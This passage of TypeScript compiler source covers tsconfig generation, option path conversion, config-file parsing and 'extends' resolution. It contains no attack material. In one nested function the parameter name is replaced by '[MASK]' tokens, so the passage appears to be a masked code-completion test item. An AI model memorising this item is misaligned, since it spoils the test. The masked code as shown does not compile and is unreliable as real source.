                const customTypeMap = getCustomTypeMapOfCommandLineOption(optionDefinition);
                if (!customTypeMap) {
                    // There is no map associated with this compiler option then use the value as-is
                    // This is the case if the value is expect to be string, number, boolean or list of string
                    if (pathOptions && optionDefinition.isFilePath) {
                        result.set(name, getRelativePathFromFile(pathOptions.configFilePath, getNormalizedAbsolutePath(value as string, getDirectoryPath(pathOptions.configFilePath)), getCanonicalFileName!));
                    }
                    else if (pathOptions && optionDefinition.type === ""list"" && optionDefinition.element.isFilePath) {
                        result.set(name, (value as string[]).map(v => getRelativePathFromFile(pathOptions.configFilePath, getNormalizedAbsolutePath(v, getDirectoryPath(pathOptions.configFilePath)), getCanonicalFileName!)));
                    }
                    else {
                        result.set(name, value);
                    }
                }
                else {
                    if (optionDefinition.type === ""list"") {
                        result.set(name, (value as readonly (string | number)[]).map(element => getNameOfCompilerOptionValue(element, customTypeMap)!)); // TODO: GH#18217
                    }
                    else {
                        // There is a typeMap associated with this command-line option so use it to map value back to its name
                        result.set(name, getNameOfCompilerOptionValue(value, customTypeMap));
                    }
                }
            }
        }
    }
    return result;
}

/**
 * Generate tsconfig configuration when running command line ""--init""
 * @param options commandlineOptions to be generated into tsconfig.json
 * @internal
 */
export function generateTSConfig(options: CompilerOptions, newLine: string): string {
    type PresetValue = string | number | boolean | (string | number | boolean)[];

    const tab = ""  "";
    const result: string[] = [];
    const allSetOptions = Object.keys(options).filter(k => k !== ""init"" && k !== ""help"" && k !== ""watch"");

    result.push(`{`);
    result.push(`${tab}// ${getLocaleSpecificMessage(Diagnostics.Visit_https_Colon_Slash_Slashaka_ms_Slashtsconfig_to_read_more_about_this_file)}`);
    result.push(`${tab}""compilerOptions"": {`);

    emitHeader(Diagnostics.File_Layout);
    emitOption(""rootDir"", ""./src"", ""optional"");
    emitOption(""outDir"", ""./dist"", ""optional"");

    newline();

    emitHeader(Diagnostics.Environment_Settings);
    emitHeader(Diagnostics.See_also_https_Colon_Slash_Slashaka_ms_Slashtsconfig_Slashmodule);
    emitOption(""module"", ModuleKind.NodeNext);
    emitOption(""target"", ScriptTarget.ESNext);
    emitOption(""types"", []);
    if (options.lib) {
        emitOption(""lib"", options.lib);
    }
    emitHeader(Diagnostics.For_nodejs_Colon);
    result.push(`${tab}${tab}// ""lib"": [""esnext""],`);
    result.push(`${tab}${tab}// ""types"": [""node""],`);
    emitHeader(Diagnostics.and_npm_install_D_types_Slashnode);

    newline();

    emitHeader(Diagnostics.Other_Outputs);
    emitOption(""sourceMap"", /*defaultValue*/ true);
    emitOption(""declaration"", /*defaultValue*/ true);
    emitOption(""declarationMap"", /*defaultValue*/ true);

    newline();

    emitHeader(Diagnostics.Stricter_Typechecking_Options);
    emitOption(""noUncheckedIndexedAccess"", /*defaultValue*/ true);
    emitOption(""exactOptionalPropertyTypes"", /*defaultValue*/ true);

    newline();

    emitHeader(Diagnostics.Style_Options);
    emitOption(""noImplicitReturns"", /*defaultValue*/ true, ""optional"");
    emitOption(""noImplicitOverride"", /*defaultValue*/ true, ""optional"");
    emitOption(""noUnusedLocals"", /*defaultValue*/ true, ""optional"");
    emitOption(""noUnusedParameters"", /*defaultValue*/ true, ""optional"");
    emitOption(""noFallthroughCasesInSwitch"", /*defaultValue*/ true, ""optional"");
    emitOption(""noPropertyAccessFromIndexSignature"", /*defaultValue*/ true, ""optional"");

    newline();

    emitHeader(Diagnostics.Recommended_Options);
    emitOption(""strict"", /*defaultValue*/ true);
    emitOption(""jsx"", JsxEmit.ReactJSX);
    emitOption(""verbatimModuleSyntax"", /*defaultValue*/ true);
    emitOption(""isolatedModules"", /*defaultValue*/ true);
    emitOption(""noUncheckedSideEffectImports"", /*defaultValue*/ true);
    emitOption(""moduleDetection"", ModuleDetectionKind.Force);
    emitOption(""skipLibCheck"", /*defaultValue*/ true);

    // Write any user-provided options we haven't already
    if (allSetOptions.length > 0) {
        newline();
        while (allSetOptions.length > 0) {
            emitOption(allSetOptions[0], options[allSetOptions[0]]);
        }
    }

    function newline() {
        result.push("""");
    }

    function emitHeader(header: DiagnosticMessage) {
        result.push(`${tab}${tab}// ${getLocaleSpecificMessage(header)}`);
    }

    // commented = 'always': Always comment this out, even if it's on commandline
    // commented = 'optional': Comment out unless it's on commandline
    // commented = 'never': Never comment this out
    function emitOption<K extends string & keyof CompilerOptions>(setting: K, defaultValue: CompilerOptions[K], commented: ""always"" | ""optional"" | ""never"" = ""never"") {
        const existingOptionIndex = allSetOptions.indexOf(setting);
        if (existingOptionIndex >= 0) {
            allSetOptions.splice(existingOptionIndex, 1);
        }

        let comment: boolean;
        if (commented === ""always"") {
            comment = true;
        }
        else if (commented === ""never"") {
            comment = false;
        }
        else {
            comment = !hasProperty(options, setting);
        }

        const value = (options[setting] ?? defaultValue) as PresetValue;
        if (comment) {
            result.push(`${tab}${tab}// ""${setting}"": ${formatValueOrArray(setting, value)},`);
        }
        else {
            result.push(`${tab}${tab}""${setting}"": ${formatValueOrArray(setting, value)},`);
        }
    }

    function formatValueOrArray(settingName: string, value: PresetValue): string {
        const option = optionDeclarations.filter(c => c.name === settingName)[0];
        if (!option) Debug.fail(`No option named ${settingName}?`);
        const map = (option.type instanceof Map) ? option.type : undefined;
        if (isArray(value)) {
            // eslint-disable-next-line local/no-in-operator
            const map = (""element"" in option && (option.element.type instanceof Map)) ? option.element.type : undefined;
            return `[${value.map(v => formatSingleValue(v, map)).join("", "")}]`;
        }
        else {
            return formatSingleValue(value, map);
        }
    }

    function formatSingleValue(value: PresetValue, map: Map<string, string | number> | undefined) {
        if (map) {
            value = getNameOfCompilerOptionValue(value as string | number, map) ?? Debug.fail(`No matching value of ${value}`);
        }
        return JSON.stringify(value);
    }

    result.push(`${tab}}`);
    result.push(`}`);
    result.push(``);

    return result.join(newLine);
}

/** @internal */
export function convertToOptionsWithAbsolutePaths(options: CompilerOptions, toAbsolutePath: (path: string) => string): CompilerOptions {
    const result: CompilerOptions = {};
    const optionsNameMap = getOptionsNameMap().optionsNameMap;

    for (const name in options) {
        if (hasProperty(options, name)) {
            result[name] = convertToOptionValueWithAbsolutePaths(
                optionsNameMap.get(name.toLowerCase()),
                options[name] as CompilerOptionsValue,
                toAbsolutePath,
            );
        }
    }
    if (result.configFilePath) {
        result.configFilePath = toAbsolutePath(result.configFilePath);
    }
    return result;
}

function convertToOptionValueWithAbsolutePaths(option: CommandLineOption | undefined, value: CompilerOptionsValue, toAbsolutePath: (path: string) => string) {
    if (option && !isNullOrUndefined(value)) {
        if (option.type === ""list"") {
            const values = value as readonly string[];
            if (option.element.isFilePath && values.length) {
                return values.map(toAbsolutePath);
            }
        }
        else if (option.isFilePath) {
            return toAbsolutePath(value as string);
        }
        Debug.assert(option.type !== ""listOrElement"");
    }
    return value;
}

/**
 * Parse the contents of a config file (tsconfig.json).
 * @param json The contents of the config file to parse
 * @param host Instance of ParseConfigHost used to enumerate files in folder.
 * @param basePath A root directory to resolve relative path entries in the config
 *    file to. e.g. outDir
 */
export function parseJsonConfigFileContent(json: any, host: ParseConfigHost, basePath: string, existingOptions?: CompilerOptions, configFileName?: string, resolutionStack?: Path[], extraFileExtensions?: readonly FileExtensionInfo[], extendedConfigCache?: Map<string, ExtendedConfigCacheEntry>, existingWatchOptions?: WatchOptions): ParsedCommandLine {
    return parseJsonConfigFileContentWorker(json, /*sourceFile*/ undefined, host, basePath, existingOptions, existingWatchOptions, configFileName, resolutionStack, extraFileExtensions, extendedConfigCache);
}

/**
 * Parse the contents of a config file (tsconfig.json).
 * @param jsonNode The contents of the config file to parse
 * @param host Instance of ParseConfigHost used to enumerate files in folder.
 * @param basePath A root directory to resolve relative path entries in the config
 *    file to. e.g. outDir
 */
export function parseJsonSourceFileConfigFileContent(sourceFile: TsConfigSourceFile, host: ParseConfigHost, basePath: string, existingOptions?: CompilerOptions, configFileName?: string, resolutionStack?: Path[], extraFileExtensions?: readonly FileExtensionInfo[], extendedConfigCache?: Map<string, ExtendedConfigCacheEntry>, existingWatchOptions?: WatchOptions): ParsedCommandLine {
    tracing?.push(tracing.Phase.Parse, ""parseJsonSourceFileConfigFileContent"", { path: sourceFile.fileName });
    const result = parseJsonConfigFileContentWorker(/*json*/ undefined, sourceFile, host, basePath, existingOptions, existingWatchOptions, configFileName, resolutionStack, extraFileExtensions, extendedConfigCache);
    tracing?.pop();
    return result;
}

/** @internal */
export function setConfigFileInOptions(options: CompilerOptions, configFile: TsConfigSourceFile | undefined): void {
    if (configFile) {
        Object.defineProperty(options, ""configFile"", { enumerable: false, writable: false, value: configFile });
    }
}

function isNullOrUndefined(x: any): x is null | undefined { // eslint-disable-line no-restricted-syntax
    return x === undefined || x === null; // eslint-disable-line no-restricted-syntax
}

function directoryOfCombinedPath(fileName: string, basePath: string) {
    // Use the `getNormalizedAbsolutePath` function to avoid canonicalizing the path, as it must remain noncanonical
    // until consistent casing errors are reported
    return getDirectoryPath(getNormalizedAbsolutePath(fileName, basePath));
}

const defaultIncludeSpec = ""**/*"";

/**
 * Parse the contents of a config file from json or json source file (tsconfig.json).
 * @param json The contents of the config file to parse
 * @param sourceFile sourceFile corresponding to the Json
 * @param host Instance of ParseConfigHost used to enumerate files in folder.
 * @param basePath A root directory to resolve relative path entries in the config
 *    file to. e.g. outDir
 * @param resolutionStack Only present for backwards-compatibility. Should be empty.
 */
function parseJsonConfigFileContentWorker(
    json: any,
    sourceFile: TsConfigSourceFile | undefined,
    host: ParseConfigHost,
    basePath: string,
    existingOptions: CompilerOptions = {},
    existingWatchOptions: WatchOptions | undefined,
    configFileName?: string,
    resolutionStack: Path[] = [],
    extraFileExtensions: readonly FileExtensionInfo[] = [],
    extendedConfigCache?: Map<string, ExtendedConfigCacheEntry>,
): ParsedCommandLine {
    Debug.assert((json === undefined && sourceFile !== undefined) || (json !== undefined && sourceFile === undefined));
    const errors: Diagnostic[] = [];

    const parsedConfig = parseConfig(json, sourceFile, host, basePath, configFileName, resolutionStack, errors, extendedConfigCache);
    const { raw } = parsedConfig;
    const options = handleOptionConfigDirTemplateSubstitution(
        extend(existingOptions, parsedConfig.options || {}),
        configDirTemplateSubstitutionOptions,
        basePath,
    ) as CompilerOptions;
    const watchOptions = handleWatchOptionsConfigDirTemplateSubstitution(
        existingWatchOptions && parsedConfig.watchOptions ?
            extend(existingWatchOptions, parsedConfig.watchOptions) :
            parsedConfig.watchOptions || existingWatchOptions,
        basePath,
    );
    options.configFilePath = configFileName && normalizeSlashes(configFileName);
    const basePathForFileNames = normalizePath(configFileName ? directoryOfCombinedPath(configFileName, basePath) : basePath);
    const configFileSpecs = getConfigFileSpecs();
    if (sourceFile) sourceFile.configFileSpecs = configFileSpecs;
    setConfigFileInOptions(options, sourceFile);

    return {
        options,
        watchOptions,
        fileNames: getFileNames(basePathForFileNames),
        projectReferences: getProjectReferences(basePathForFileNames),
        typeAcquisition: parsedConfig.typeAcquisition || getDefaultTypeAcquisition(),
        raw,
        errors,
        // Wildcard directories (provided as part of a wildcard path) are stored in a
        // file map that marks whether it was a regular wildcard match (with a `*` or `?` token),
        // or a recursive directory. This information is used by filesystem watchers to monitor for
        // new entries in these paths.
        wildcardDirectories: getWildcardDirectories(configFileSpecs, basePathForFileNames, host.useCaseSensitiveFileNames),
        compileOnSave: !!raw.compileOnSave,
    };

    function getConfigFileSpecs(): ConfigFileSpecs {
        const referencesOfRaw = getPropFromRaw<ProjectReference>(""references"", element => typeof element === ""object"", ""object"");
        const filesSpecs = toPropValue(getSpecsFromRaw(""files""));
        if (filesSpecs) {
            const hasZeroOrNoReferences = referencesOfRaw === ""no-prop"" || isArray(referencesOfRaw) && referencesOfRaw.length === 0;
            const hasExtends = hasProperty(raw, ""extends"");
            if (filesSpecs.length === 0 && hasZeroOrNoReferences && !hasExtends) {
                if (sourceFile) {
                    const fileName = configFileName || ""tsconfig.json"";
                    const diagnosticMessage = Diagnostics.The_files_list_in_config_file_0_is_empty;
                    const nodeValue = forEachTsConfigPropArray(sourceFile, ""files"", property => property.initializer);
                    const error = createDiagnosticForNodeInSourceFileOrCompilerDiagnostic(sourceFile, nodeValue, diagnosticMessage, fileName);
                    errors.push(error);
                }
                else {
                    createCompilerDiagnosticOnlyIfJson(Diagnostics.The_files_list_in_config_file_0_is_empty, configFileName || ""tsconfig.json"");
                }
            }
        }

        let includeSpecs = toPropValue(getSpecsFromRaw(""include""));

        const excludeOfRaw = getSpecsFromRaw(""exclude"");
        let isDefaultIncludeSpec = false;
        let excludeSpecs = toPropValue(excludeOfRaw);
        if (excludeOfRaw === ""no-prop"") {
            const outDir = options.outDir;
            const declarationDir = options.declarationDir;

            if (outDir || declarationDir) {
                excludeSpecs = filter([outDir, declarationDir], d => !!d) as string[];
            }
        }

        if (filesSpecs === undefined && includeSpecs === undefined) {
            includeSpecs = [defaultIncludeSpec];
            isDefaultIncludeSpec = true;
        }
        let validatedIncludeSpecsBeforeSubstitution: readonly string[] | undefined, validatedExcludeSpecsBeforeSubstitution: readonly string[] | undefined;
        let validatedIncludeSpecs: readonly string[] | undefined, validatedExcludeSpecs: readonly string[] | undefined;

        // The exclude spec list is converted into a regular expression, which allows us to quickly
        // test whether a file or directory should be excluded before recursively traversing the
        // file system.

        if (includeSpecs) {
            validatedIncludeSpecsBeforeSubstitution = validateSpecs(includeSpecs, errors, /*disallowTrailingRecursion*/ true, sourceFile, ""include"");
            validatedIncludeSpecs = getSubstitutedStringArrayWithConfigDirTemplate(
                validatedIncludeSpecsBeforeSubstitution,
                basePathForFileNames,
            ) || validatedIncludeSpecsBeforeSubstitution;
        }

        if (excludeSpecs) {
            validatedExcludeSpecsBeforeSubstitution = validateSpecs(excludeSpecs, errors, /*disallowTrailingRecursion*/ false, sourceFile, ""exclude"");
            validatedExcludeSpecs = getSubstitutedStringArrayWithConfigDirTemplate(
                validatedExcludeSpecsBeforeSubstitution,
                basePathForFileNames,
            ) || validatedExcludeSpecsBeforeSubstitution;
        }

        const validatedFilesSpecBeforeSubstitution = filter(filesSpecs, isString);
        const validatedFilesSpec = getSubstitutedStringArrayWithConfigDirTemplate(
            validatedFilesSpecBeforeSubstitution,
            basePathForFileNames,
        ) || validatedFilesSpecBeforeSubstitution;

        return {
            filesSpecs,
            includeSpecs,
            excludeSpecs,
            validatedFilesSpec,
            validatedIncludeSpecs,
            validatedExcludeSpecs,
            validatedFilesSpecBeforeSubstitution,
            validatedIncludeSpecsBeforeSubstitution,
            validatedExcludeSpecsBeforeSubstitution,
            isDefaultIncludeSpec,
        };
    }

    function getFileNames(basePath: string): string[] {
        const fileNames = getFileNamesFromConfigSpecs(configFileSpecs, basePath, options, host, extraFileExtensions);
        if (shouldReportNoInputFiles(fileNames, canJsonReportNoInputFiles(raw), resolutionStack)) {
            errors.push(getErrorForNoInputFiles(configFileSpecs, configFileName));
        }
        return fileNames;
    }

    function getProjectReferences(basePath: string): readonly ProjectReference[] | undefined {
        let projectReferences: ProjectReference[] | undefined;
        const referencesOfRaw = getPropFromRaw<ProjectReference>(""references"", element => typeof element === ""object"", ""object"");
        if (isArray(referencesOfRaw)) {
            for (const ref of referencesOfRaw) {
                if (typeof ref.path !== ""string"") {
                    createCompilerDiagnosticOnlyIfJson(Diagnostics.Compiler_option_0_requires_a_value_of_type_1, ""reference.path"", ""string"");
                }
                else {
                    (projectReferences || (projectReferences = [])).push({
                        path: getNormalizedAbsolutePath(ref.path, basePath),
                        originalPath: ref.path,
                        prepend: ref.prepend,
                        circular: ref.circular,
                    });
                }
            }
        }
        return projectReferences;
    }

    type PropOfRaw<T> = readonly T[] | ""not-array"" | ""no-prop"";
    function toPropValue<T>(specResult: PropOfRaw<T>) {
        return isArray(specResult) ? specResult : undefined;
    }

    function getSpecsFromRaw(prop: ""files"" | ""include"" | ""exclude""): PropOfRaw<string> {
        return getPropFromRaw(prop, isString, ""string"");
    }

    function getPropFromRaw<T>(prop: ""files"" | ""include"" | ""exclude"" | ""references"", validateElement: (value: unknown) => boolean, elementTypeName: string): PropOfRaw<T> {
        if (hasProperty(raw, prop) && !isNullOrUndefined(raw[prop])) {
            if (isArray(raw[prop])) {
                const result = raw[prop] as T[];
                if (!sourceFile && !every(result, validateElement)) {
                    errors.push(createCompilerDiagnostic(Diagnostics.Compiler_option_0_requires_a_value_of_type_1, prop, elementTypeName));
                }
                return result;
            }
            else {
                createCompilerDiagnosticOnlyIfJson(Diagnostics.Compiler_option_0_requires_a_value_of_type_1, prop, ""Array"");
                return ""not-array"";
            }
        }
        return ""no-prop"";
    }

    function createCompilerDiagnosticOnlyIfJson(message: DiagnosticMessage, ...args: DiagnosticArguments) {
        if (!sourceFile) {
            errors.push(createCompilerDiagnostic(message, ...args));
        }
    }
}

/** @internal */
export function handleWatchOptionsConfigDirTemplateSubstitution(
    watchOptions: WatchOptions | undefined,
    basePath: string,
) {
    return handleOptionConfigDirTemplateSubstitution(watchOptions, configDirTemplateSubstitutionWatchOptions, basePath) as WatchOptions | undefined;
}

function handleOptionConfigDirTemplateSubstitution(
    options: OptionsBase | undefined,
    optionDeclarations: readonly CommandLineOption[],
    basePath: string,
) {
    if (!options) return options;
    let result: OptionsBase | undefined;
    for (const option of optionDeclarations) {
        if (options[option.name] !== undefined) {
            const value = options[option.name];
            switch (option.type) {
                case ""string"":
                    Debug.assert(option.isFilePath);
                    if (startsWithConfigDirTemplate(value)) {
                        setOptionValue(option, getSubstitutedPathWithConfigDirTemplate(value, basePath));
                    }
                    break;
                case ""list"":
                    Debug.assert(option.element.isFilePath);
                    const listResult = getSubstitutedStringArrayWithConfigDirTemplate(value as string[], basePath);
                    if (listResult) setOptionValue(option, listResult);
                    break;
                case ""object"":
                    Debug.assert(option.name === ""paths"");
                    const objectResult = getSubstitutedMapLikeOfStringArrayWithConfigDirTemplate(value as MapLike<string[]>, basePath);
                    if (objectResult) setOptionValue(option, objectResult);
                    break;
                default:
                    Debug.fail(""option type not supported"");
            }
        }
    }
    return result || options;

    function setOptionValue(option: CommandLineOption, value: CompilerOptionsValue) {
        (result ??= assign({}, options))[option.name] = value;
    }
}

const configDirTemplate = `\${configDir}`;
function startsWithConfigDirTemplate(value: any): value is string {
    return isString(value) && startsWith(value, configDirTemplate, /*ignoreCase*/ true);
}

function getSubstitutedPathWithConfigDirTemplate(value: string, basePath: string) {
    return getNormalizedAbsolutePath(value.replace(configDirTemplate, ""./""), basePath);
}

function getSubstitutedStringArrayWithConfigDirTemplate(list: readonly string[] | undefined, basePath: string) {
    if (!list) return list;
    let result: string[] | undefined;
    list.forEach((element, index) => {
        if (!startsWithConfigDirTemplate(element)) return;
        (result ??= list.slice())[index] = getSubstitutedPathWithConfigDirTemplate(element, basePath);
    });
    return result;
}

function getSubstitutedMapLikeOfStringArrayWithConfigDirTemplate(mapLike: MapLike<string[]>, basePath: string) {
    let result: MapLike<string[]> | undefined;
    const ownKeys = getOwnKeys(mapLike);
    ownKeys.forEach(key => {
        if (!isArray(mapLike[key])) return;
        const subStitution = getSubstitutedStringArrayWithConfigDirTemplate(mapLike[key], basePath);
        if (!subStitution) return;
        (result ??= assign({}, mapLike))[key] = subStitution;
    });
    return result;
}

function isErrorNoInputFiles(error: Diagnostic) {
    return error.code === Diagnostics.No_inputs_were_found_in_config_file_0_Specified_include_paths_were_1_and_exclude_paths_were_2.code;
}

function getErrorForNoInputFiles({ includeSpecs, excludeSpecs }: ConfigFileSpecs, configFileName: string | undefined) {
    return createCompilerDiagnostic(
        Diagnostics.No_inputs_were_found_in_config_file_0_Specified_include_paths_were_1_and_exclude_paths_were_2,
        configFileName || ""tsconfig.json"",
        JSON.stringify(includeSpecs || []),
        JSON.stringify(excludeSpecs || []),
    );
}

function shouldReportNoInputFiles(fileNames: string[], canJsonReportNoInutFiles: boolean, resolutionStack?: Path[]) {
    return fileNames.length === 0 && canJsonReportNoInutFiles && (!resolutionStack || resolutionStack.length === 0);
}

/** @internal */
export function isSolutionConfig(config: ParsedCommandLine): boolean {
    return !config.fileNames.length &&
        hasProperty(config.raw, ""references"");
}

/** @internal */
export function canJsonReportNoInputFiles(raw: any): boolean {
    return !hasProperty(raw, ""files"") && !hasProperty(raw, ""references"");
}

/** @internal */
export function updateErrorForNoInputFiles(
    fileNames: string[],
    configFileName: string,
    configFileSpecs: ConfigFileSpecs,
    configParseDiagnostics: Diagnostic[],
    canJsonReportNoInutFiles: boolean,
): boolean {
    const existingErrors = configParseDiagnostics.length;
    if (shouldReportNoInputFiles(fileNames, canJsonReportNoInutFiles)) {
        configParseDiagnostics.push(getErrorForNoInputFiles(configFileSpecs, configFileName));
    }
    else {
        filterMutate(configParseDiagnostics, error => !isErrorNoInputFiles(error));
    }
    return existingErrors !== configParseDiagnostics.length;
}

export interface ParsedTsconfig {
    raw: any;
    options?: CompilerOptions;
    watchOptions?: WatchOptions;
    typeAcquisition?: TypeAcquisition;
    /**
     * Note that the case of the config path has not yet been normalized, as no files have been imported into the project yet
     */
    extendedConfigPath?: string | string[];
}

function isSuccessfulParsedTsconfig(value: ParsedTsconfig) {
    return !!value.options;
}

interface ExtendsResult {
    options: CompilerOptions;
    watchOptions?: WatchOptions;
    watchOptionsCopied?: boolean;
    include?: string[];
    exclude?: string[];
    files?: string[];
    compileOnSave?: boolean;
    extendedSourceFiles?: Set<string>;
}
/**
 * This *just* extracts options/include/exclude/files out of a config file.
 * It does *not* resolve the included files.
 */
function parseConfig(
    json: any,
    sourceFile: TsConfigSourceFile | undefined,
    host: ParseConfigHost,
    basePath: string,
    configFileName: string | undefined,
    resolutionStack: string[],
    errors: Diagnostic[],
    extendedConfigCache?: Map<string, ExtendedConfigCacheEntry>,
): ParsedTsconfig {
    basePath = normalizeSlashes(basePath);
    const resolvedPath = getNormalizedAbsolutePath(configFileName || """", basePath);

    if (resolutionStack.includes(resolvedPath)) {
        errors.push(createCompilerDiagnostic(Diagnostics.Circularity_detected_while_resolving_configuration_Colon_0, [...resolutionStack, resolvedPath].join("" -> "")));
        return { raw: json || convertToObject(sourceFile!, errors) };
    }

    const ownConfig = json ?
        parseOwnConfigOfJson(json, host, basePath, configFileName, errors) :
        parseOwnConfigOfJsonSourceFile(sourceFile!, host, basePath, configFileName, errors);

    if (ownConfig.options?.paths) {
        // If we end up needing to resolve relative paths from 'paths' relative to
        // the config file location, we'll need to know where that config file was.
        // Since 'paths' can be inherited from an extended config in another directory,
        // we wouldn't know which directory to use unless we store it here.
        ownConfig.options.pathsBasePath = basePath;
    }
    if (ownConfig.extendedConfigPath) {
        // copy the resolution stack so it is never reused between branches in potential diamond-problem scenarios.
        resolutionStack = resolutionStack.concat([resolvedPath]);
        const result: ExtendsResult = { options: {} };
        if (isString(ownConfig.extendedConfigPath)) {
            applyExtendedConfig(result, ownConfig.extendedConfigPath);
        }
        else {
            ownConfig.extendedConfigPath.forEach(extendedConfigPath => applyExtendedConfig(result, extendedConfigPath));
        }
        if (result.include) ownConfig.raw.include = result.include;
        if (result.exclude) ownConfig.raw.exclude = result.exclude;
        if (result.files) ownConfig.raw.files = result.files;

        if (ownConfig.raw.compileOnSave === undefined && result.compileOnSave) ownConfig.raw.compileOnSave = result.compileOnSave;
        if (sourceFile && result.extendedSourceFiles) sourceFile.extendedSourceFiles = arrayFrom(result.extendedSourceFiles.keys());

        ownConfig.options = assign(result.options, ownConfig.options);
        ownConfig.watchOptions = ownConfig.watchOptions && result.watchOptions ?
            assignWatchOptions(result, ownConfig.watchOptions) :
            ownConfig.watchOptions || result.watchOptions;
    }
    return ownConfig;

    function applyExtendedConfig(result: ExtendsResult, extendedConfigPath: string) {
        const extendedConfig = getExtendedConfig(sourceFile, extendedConfigPath, host, resolutionStack, errors, extendedConfigCache, result);
        if (extendedConfig && isSuccessfulParsedTsconfig(extendedConfig)) {
            const extendsRaw = extendedConfig.raw;
            let relativeDifference: string | undefined;
            const setPropertyInResultIfNotUndefined = ( [MASK] : ""include"" | ""exclude"" | ""files"") => {
                if (ownConfig.raw[ [MASK] ]) return; // No need to calculate if already set in own config
                if (extendsRaw[ [MASK] ]) {
                    result[ [MASK] ] = map(extendsRaw[ [MASK] ], (path: string) =>
                        startsWithConfigDirTemplate(path) || isRootedDiskPath(path) ?
                            path :
                            combinePaths(
                                relativeDifference ||= convertToRelativePath(getDirectoryPath(extendedConfigPath), basePath, createGetCanonicalFileName(host.useCaseSensitiveFileNames)),
                                path,
                            ));
                }
            };
            setPropertyInResultIfNotUndefined(""include"");
            setPropertyInResultIfNotUndefined(""exclude"");
            setPropertyInResultIfNotUndefined(""files"");
            if (extendsRaw.compileOnSave !== undefined) {
                result.compileOnSave = extendsRaw.compileOnSave;
            }
            assign(result.options, extendedConfig.options);
            result.watchOptions = result.watchOptions && extendedConfig.watchOptions ?
                assignWatchOptions(result, extendedConfig.watchOptions) :
                result.watchOptions || extendedConfig.watchOptions;
            // TODO extend type typeAcquisition
        }
    }

    function assignWatchOptions(result: ExtendsResult, watchOptions: WatchOptions) {
        if (result.watchOptionsCopied) return assign(result.watchOptions!, watchOptions);
        result.watchOptionsCopied = true;
        return assign({}, result.watchOptions, watchOptions);
    }
}

function parseOwnConfigOfJson(
    json: any,
    host: ParseConfigHost,
    basePath: string,
    configFileName: string | undefined,
    errors: Diagnostic[],
): ParsedTsconfig {
    if (hasProperty(json, ""excludes"")) {
        errors.push(createCompilerDiagnostic(Diagnostics.Unknown_option_excludes_Did_you_mean_exclude));
    }

    const options = convertCompilerOptionsFromJsonWorker(json.compilerOptions, basePath, errors, configFileName);
    const typeAcquisition = convertTypeAcquisitionFromJsonWorker(json.typeAcquisition, basePath, errors, configFileName);
    const watchOptions = convertWatchOptionsFromJsonWorker(json.watchOptions, basePath, errors);
    json.compileOnSave = convertCompileOnSaveOptionFromJson(json, basePath, errors);
    const extendedConfigPath = json.extends || json.extends === """" ?
        getExtendsConfigPathOrArray(json.extends, host, basePath, configFileName, errors) :
        undefined;
    return { raw: json, options, watchOptions, typeAcquisition, extendedConfigPath };
}

function getExtendsConfigPathOrArray(
    value: CompilerOptionsValue,
    host: ParseConfigHost,
    basePath: string,
    configFileName: string | undefined,
    errors: Diagnostic[],
    propertyAssignment?: PropertyAssignment,
    valueExpression?: Expression,
    sourceFile?: JsonSourceFile,
) {
    let extendedConfigPath: string | string[] | undefined;
    const newBase = configFileName ? directoryOfCombinedPath(configFileName, basePath) : basePath;
    if (isString(value)) {
        extendedConfigPath = getExtendsConfigPath(
            value,
            host,
            newBase,
            errors,
            valueExpression,
            sourceFile,
        );
    }
    else if (isArray(value)) {
        extendedConfigPath = [];
        for (let index = 0; index < (value as unknown[]).length; index++) {
            const fileName = (value as unknown[])[index];
            if (isString(fileName)) {
                extendedConfigPath = append(
                    extendedConfigPath,
                    getExtendsConfigPath(
                        fileName,
                        host,
                        newBase,
                        errors,
                        (valueExpression as ArrayLiteralExpression | undefined)?.elements[index],
                        sourceFile,
                    ),
                );
            }
            else {
                convertJsonOption(extendsOptionDeclaration.element, value, basePath, errors, propertyAssignment, (valueExpression as ArrayLiteralExpression | undefined)?.elements[index], sourceFile);
            }
        }
    }
    else {
        convertJsonOption(extendsOptionDeclaration, value, basePath, errors, propertyAssignment, valueExpression, sourceFile);
    }
    return extendedConfigPath;
}

function parseOwnConfigOfJsonSourceFile(
    sourceFile: TsConfigSourceFile,
    host: ParseConfigHost,
    basePath: string,
    configFileName: string | undefined,
    errors: Diagnostic[],
): ParsedTsconfig {
    const options = getDefaultCompilerOptions(configFileName);
    let typeAcquisition: TypeAcquisition | undefined;
    let watchOptions: WatchOptions | undefined;
    let extendedConfigPath: string | string[] | undefined;
    let rootCompilerOptions: PropertyName[] | undefined;

    const rootOptions = getTsconfigRootOptionsMap();
    const json = convertConfigFileToObject(
        sourceFile,
        errors,
        { rootOptions, onPropertySet },
    );

    if (!typeAcquisition) {
        typeAcquisition = getDefaultTypeAcquisition(configFileName);
    }

    if (rootCompilerOptions && json && json.compilerOptions === undefined) {
        errors.push(createDiagnosticForNodeInSourceFile(sourceFile, rootCompilerOptions[0], Diagnostics._0_should_be_set_inside_the_compilerOptions_object_of_the_config_json_file, getTextOfPropertyName(rootCompilerOptions[0]) as string));
    }

    return { raw: json, options, watchOptions, typeAcquisition, extendedConfigPath };

    function onPropertySet(
        keyText: string,
        value: any,
        propertyAssignment: PropertyAssignment,
        parentOption: TsConfigOnlyOption | undefined,
        option: CommandLineOption | undefined,
    ) {
        // Ensure value is verified except for extends which is handled in its own way for error reporting
        if (option && option !== extendsOptionDeclaration) value = convertJsonOption(option, value, basePath, errors, propertyAssignment, propertyAssignment.initializer, sourceFile);
        if (parentOption?.name) {
            if (option) {
                let currentOption;
                if (parentOption === compilerOptionsDeclaration) currentOption = options;
                else if (parentOption === watchOptionsDeclaration) currentOption = watchOptions ??= {};
                else if (parentOption === typeAcquisitionDeclaration) currentOption = typeAcquisition ??= getDefaultTypeAcquisition(configFileName);
                else Debug.fail(""Unknown option"");
                currentOption[option.name] = value;
            }
            else if (keyText && parentOption?.extraKeyDiagnostics) {
                if (parentOption.elementOptions) {
                    errors.push(createUnknownOptionError(
                        keyText,
                        parentOption.extraKeyDiagnostics,
                        /*unknownOptionErrorText*/ undefined,
                        propertyAssignment.name,
                        sourceFile,
                    ));
                }
                else {
                    errors.push(createDiagnosticForNodeInSourceFile(sourceFile, propertyAssignment.name, parentOption.extraKeyDiagnostics.unknownOptionDiagnostic, keyText));
                }
            }
        }
        else if (parentOption === rootOptions) {
            if (option === extendsOptionDeclaration) {
                extendedConfigPath = getExtendsConfigPathOrArray(value, host, basePath, configFileName, errors, propertyAssignment, propertyAssignment.initializer, sourceFile);
            }
            else if (!option) {
                if (keyText === ""excludes"") {
